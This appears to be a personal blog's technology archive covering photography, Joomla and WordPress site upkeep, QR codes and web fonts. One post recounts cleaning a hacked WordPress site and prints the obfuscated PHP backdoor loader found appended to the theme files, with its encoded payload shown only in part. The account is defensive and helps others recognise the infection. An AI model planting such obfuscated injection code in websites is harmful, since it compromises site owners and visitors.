Category Archives: Technology

HDR Photography with an old Camera

I have to admit that I do not have a decent camera.

I was about ready to invest in either a Nikon D5100 or a Canon Rebel t3i when I learned about the new breed of mirror-less changeable lens cameras – much smaller and lighter but same picture quality as the DSLRs – and that stopped me dead in my tracks because who wants to buy something old and miss the latest and greatest.

But I really wanted to get my feet wet with HDR, which stands for high dynamic range, and combines several images with different exposures into one with a much higher range between the brightest and the darkest parts of the image. much more than can be done in a single frame.

Modern cameras make this a bit easier but I finally had the cognition again that photographers make photos – not cameras. So, I dug out my old Nikon Coolpix 5400 and started to experiment a bit. This camera actually has a feature called bracketing which is useful for HDR photography.

I had to dig into the manual but found out that the bracketing as implemented works well for the purpose of HDR – I can turn on bracketing to take one frame correctly exposed and then, while holding down the shutter release, four more frames are take at -2, -1, +1 and +2 stops. After taking these five shots the age of the camera shows because it takes 10 to 20 seconds to write all that image data to memory card – a whopping 256 MB CF card.

I use the HDR support in Photoshop CS5 to help me combine the 5 shots into one, and here is an early result – a shot of a house for rent that we are going to take a look at tomorrow.

A new look for Universal Serenity

I love a good challenge.

And one of those was a few years back to build my new site Universal Serenity with Joomla. It was a whole new set of design principles and admin tool to learn but I did manage and managed to customized the template.

I learned about Joomla when it was just coming out with version 1.5 and initially many of the extensions were not available for this version, some are not tested well, and that made for a fast update cycle.

Early on I had decided that this site was to be very user interactive and so I invested into the extension JomSocial which adds facebook-like functionality to the site. Now I had to deal with two different update cycles and that turned out to take quite a bit of time.

Maybe this was one of the reasons that I did not work too much on the site to build it up to the point where I could really start to promote it. One other reason was that I had some nasty server crash – with insufficient backups – and I had to partially rebuild the site.

Reaching today – there was another big update necessary as the version 1.5 is coming to its end-of-life soon. I had skipped 1.6 but now it was time for 1.7, soon to be followed 2.5 (which was previously planned to be 1.8). This transition was more of a migration than an update as many internals had changed. But I got this handled in a day and that included scrapping the theme and starting with another, more modern, one.

I had run into a photo that I liked a lot and so that became the new face of the site. I also started now to work on blog posts within this site, and I called this part of the site Merlin’s Notes.

So far, Google does not come by enough to notice new post quickly, and one of the reasons for the post you are reading now is to change that, simply because Google appreciates more and comes by way more often.

Let me know what you think of the new look and feel.

Claiming this Blog on Technorati

This blog, the Magic of Life – A7KF79FFCMW3 – is not my first blog, but it is by far the one with the most posts and actually has developed from the very first blog, published on the New Civilization Network as

Today I noticed that I had not claimed this blog as my own on Technorati. I remedied this situation and the process of claiming a blog requires me to post a blog post that contains a code that technorati assigned to me.

The purpose of this post is to tell technorati – yes – this is my blog – and my claim token is the beautiful


Now I stand back and see how long it will take – technorati already told me that they have a backlog and it might take a while – just have no idea how many seconds, minutes, days, weeks, months, years “a while” actually is.

This, Jen, is the Internet – the IT Crowd

The first time I heard about the IT Crowd was from Cory Doctorow in one of his BoingBoing posts. Thanks to pirates I was able to watch the show despite not being in the UK, and I was instantly hooked on the show.

After a few seasons I re-visited the IT Crowd in one of my posts from 2009 but now, finally, there are some clips of it on the interweb, so that, for all of you who don’t know these master pieces of television yet, I can share some of the highlights.

Here is one of the best scenes – EVER!

A Tojan of the name going to

This is only the second time that one of my site was hacked – not bad for how long I am doing this type of stuff.

Took me a while, amongst other things, because the location of my server changed due to a data-center consolidation. So it was not quite that easy to know why things were going wrong – was it the hack or was it some configuration problem with the new IP?

But eventually all turned out fine and the site is working properly again. As I looked around the net quite a bit and did not find a good solution, I thought I share here in the hope that it might help another soul at some time.

First indication was a report from a message board having deleted a link to the site in question that it was distributing malware. I had not seen anything wrong and my anti virus stuff never told me anything, so the first reaction was to disregard it. But then suddenly I got a message from AVast that it had blocked a bad-bad URL. Now I knew something was wrong. The bad URL was a random subdomain on the top-level  “” – but a grep over the site did not bring anything about osa or .pl. Then I received another report from my VPS host that this was the trojan.

Not much luck on the net finding info how that might look on infected web sites so that I could start trusty old grep.

Looked a lot through the database dump for clues – forgot to tell, this was a site with a wordpress blog used as CMS – no luck!

Ended up swapping out all the WP code, and updating php to 5.3.8 because some of the info I had found about the were indicating that a vulnerability in the 5.2.17 I ran were at fault. None made a difference. I had disabled all plugins – that did not make a difference either – where else could it be?

Finally the good idea came and I should have looked there first: a diff over the theme I was using with an installation that used the same finally gave a long list of differences in a few files – mostly index.php, header.php and footer.php – the code added to the end of these files was:

<?php @error_reporting(0); if (!isset($eva1fYlbakBcVSir)) {$eva1fYlbakBcVSir = “7kyJ7kSKioDTWVWeRB3TiciL1UjcmRiLn4SKiAETs90cuZlTz5mROtHWHdWfRt0Zupm
…and so on
= “\x65\144\x6f\154\x70\170\x65”;$eva1tYldakBcVSir = “\x73\164\x72\162\x65\166”;$eva1tYldakBoVS1r = “\x65\143\x61\154\x70\145\x72\137\x67\145\x72\160”;$eva1tYidokBoVSjr = “\x3b\51\x29\135\x31\133\x72\152\x53\126\x63\102\x6b\141\x64\151\x59\164\x31\141\x76\145\x24\50\x65\144\x6f\143\x65\144\x5f\64\x36\145\x73\141\x62\50\x6c\141\x76\145\x40\72\x65\166\x61\154\x28\42\x5c\61\x22\51\x3b\72\x40\50\x2e\53\x29\100\x69\145”;$eva1tYldokBcVSjr=$eva1tYldakBcVSir($eva1tYldakBoVS1r);$eva1tYldakBc
VSjr=$eva1tYldakBcVSir($eva1tYlbakBcVSir);$eva1tYidakBcVSjr = $eva1tYldakBcVSjr(chr(2687.5*0.016), $eva1fYlbakBcVSir);$eva1tYXdakAcVSjr = $eva1tYidakBcVSjr[0.031*0.061];$eva1tYidokBcVSjr = $eva1tYldakBcVSjr(chr(3625*0.016), $eva1tYidokBoVSjr);$eva1tYldokBcVSjr($eva1tYidokBcVSjr[0.016*(7812.5*0.016)],$eva1tYidokBcVSjr[62.5*0.016],$eva1tYldakBcVSir($eva1tYidokBc
VSjr[0.061*0.031]));$eva1tYldakBcVSir = “”;$eva1tYldakBoVS1r = $eva1tYlbakBcVSir.$eva1tYlbakBcVSir;$eva1tYidokBoVSjr = $eva1tYlbakBcVSir;$eva1tYldakBcVSir = “\x73\164\x72\x65\143\x72\160\164\x72”;$eva1tYlbakBcVSir = “\x67\141\x6f\133\x70\170\x65”;$eva1tYldakBoVS1r = “\x65\143\x72\160”;$eva1tYldakBcVSir = “”;$eva1tYldakBoVS1r = $eva1tYlbakBcVSir.$eva1tYlbakBcVSir;$eva1tYidokBoVSjr = $eva1tYlbakBcVSir;} ?>

Removing these lines from the end of the theme filed did the job. Then I obviously changed all the file permission to not allow apache to change those files any more.

Last decree was to change the password of the owner of the site and reduce him from an admin to an editor – and tell him to scan his computer.

Now I just have to send him an email with his new password.

Hope this might help somebody sometime.

The How-to-Geek Blog

One of the few things that remain on my ‘look-at-every-time” blogs is How-to Geek.

In its year-end cleaning they revisited their Best How-To Geek Guides of 2011. Subjects covered are:

  1. The How-To Geek Guide to Getting Started with LastPass
  2. The How-To Geek Guide to XBMC Add-Ons
  3. The How-To Geek Guide to Making Your Own Custom Ethernet Cables
  4. The How-To Geek Guide to Getting Started with Usenet
  5. Hardware Upgrade: The HTG Guide to Picking the Right PC Monitor
  6. The Beginner’s Guide to Using QoS (Quality of Service) on Your Router
  7. How to Secure Your Wi-Fi Network Against Intrusion
  8. How to Use a Soldering Iron: A Beginner’s Guide
  9. How to Pick the Right Motherboard for Your Custom-Built PC
  10. The How-To Geek Video Guide to Using Windows 7 Speech Recognition
  11. The Beginner’s Guide to Shell Scripting
  12. The How-To Geek Guide to Hackintoshing
  13. The How-To Geek Guide to Audio Editing Using Audacity
  14. The How-To Geek Guide to Scoring Free Wi-Fi
  15. The How-To Geek Guide to 3D Monitors and TVs
  16. The How-To Geek Guide to Buying an HDTV

How come I read this blog and not the many others I am subscribed to?

The reason is simply that this is the only one I am subscribed to by email. I had, in the past, set up RSS feeds for all the other sites I wanted to keep up with in my Thunderbird and I read, or at least skimmed, them all on a daily basis.

Until it got too time consuming and I decided to use Google Reader so that these new posts did not interrupt my workflow. I transferred all the feeds to Google Reader and made a nice icon in my task bar for it – – – and that is where it remains – mostly unnoticed. Now, when I remember to check new blog posts, I have an overwhelming “>1000” to deal with. So, most of the time, I just select ‘set all as read’ and be done with it.

Conclusion – email still gets much more of my attention than RSS feeds in Reader.

Experiments in QR

Before there was NFC (near field communication), now built into the Nexus S, to read tags embedded in physical objects via electromagnetic radiation, there was another method of doing the same thing with light (just another electromagnetic wave length), which did not catch on as much as I wished it had – because I think, it’s darn cool and it’s so much cheaper to print a QR code on something instead of buying these NFC chips. Sure, communication is one-way but when comparing the cost of printing a little square on a sticker with the current cost of NFC stickers (about a dollar) the choice for the occasional user seems to be clear.

But if we look at Google for guidance, it appears the QR code might be dead. They had started to promote QR codes heavily a while back with Google Local stickers (with a QR code) sent to local businesses, but that is now all over and Android appears to be heading – again heavily – into support for NFC.

Oh well, but you can nicely play with QR codes and the error correction even allows to mess with the codes to a degree.

I did just that and came up with this custom QR code. It is pointless for this article because you are already on the site this code points to, but I had fun playing with it (the original code was generated by Raco Industries.) And then I went wild with photoshop and made my very own vanity QR code.

Take a look, get out your phone and see if it really works…

Custom Fonts on the Web – Google did it Again

Just found out that Google has a cool new trick up it’s sleeve – custom fonts for your web site.

Obviously I had to try it right away, and you should see the title of this web site – the ‘Magic of Life’ up there, in the Shadow into Light font.

What did I had to do to change from the standard Helvetica?

Pretty little, actually.

  1. I added the following line as the first line in the <head> section of the headers.php file in my wordpress theme:
    <link href=’′ rel=’stylesheet’ type=’text/css’>
  2. In the css for the site title element I added
    font-family: ‘Shadows Into Light’, arial, serif;

That’s pretty much it!

To see what font’s Google has available, you can check at Google Webfonts.

Obsolete Technology – yesterday – today – tomorrow

I ran into this video teaching us  how to use a dial telephone…

… and that got me to think.

From today’s point of view, this is obviously funny; but I tried to imagine what things that we consider high-tech today will look really funny to my son when he is my age.

Speaking of my son – I have noticed one piece of technology that I grew up which he already has no personal experience with: the tick-tock of a clock. He might still know that a clock in the distant past did make such sounds but he has never heard that himself.

Or the first super-high-tech wrist watch I had – with red LED segmented numbers. These LEDs used so much power that I switch had to be pressed to turn then on – and off right away – to see the time. Very inconvenient at a party where you were fondling a glass of whiskey on the rocks trying to look as cool as your watch. Very uncool to put the glass down to be able to push the little button on your other wrist to realize that after two hours of looking cool you still did not have the nerve to talk to the cute brunette.

So, what’s the item with the biggest cool factor today? Maybe tablets like the iPad. I believe this is a good candidate to look ridiculous in 20 or 30 years. Imagine you lugging around a book sized slate – just like Moses did when he came down the mountain – just to access some information, or look up an address, while today (tomorrow) you just say your search term into the ether and the information materializes right in front of your eyes, or even better, you just pose the question in your mind and the answer is directly delivered to your own synapses via a synaptic interface – – who needs eyes – – maybe we have them closed at all times as all the experiences we have are virtual anyway. While we experience a rich virtual world our bodies are securely stored and fed through some tubes while at the same time acting as a power source for the computer system that runs the whole virtual world, and ….  hold on, doesn’t that sound somehow familiar?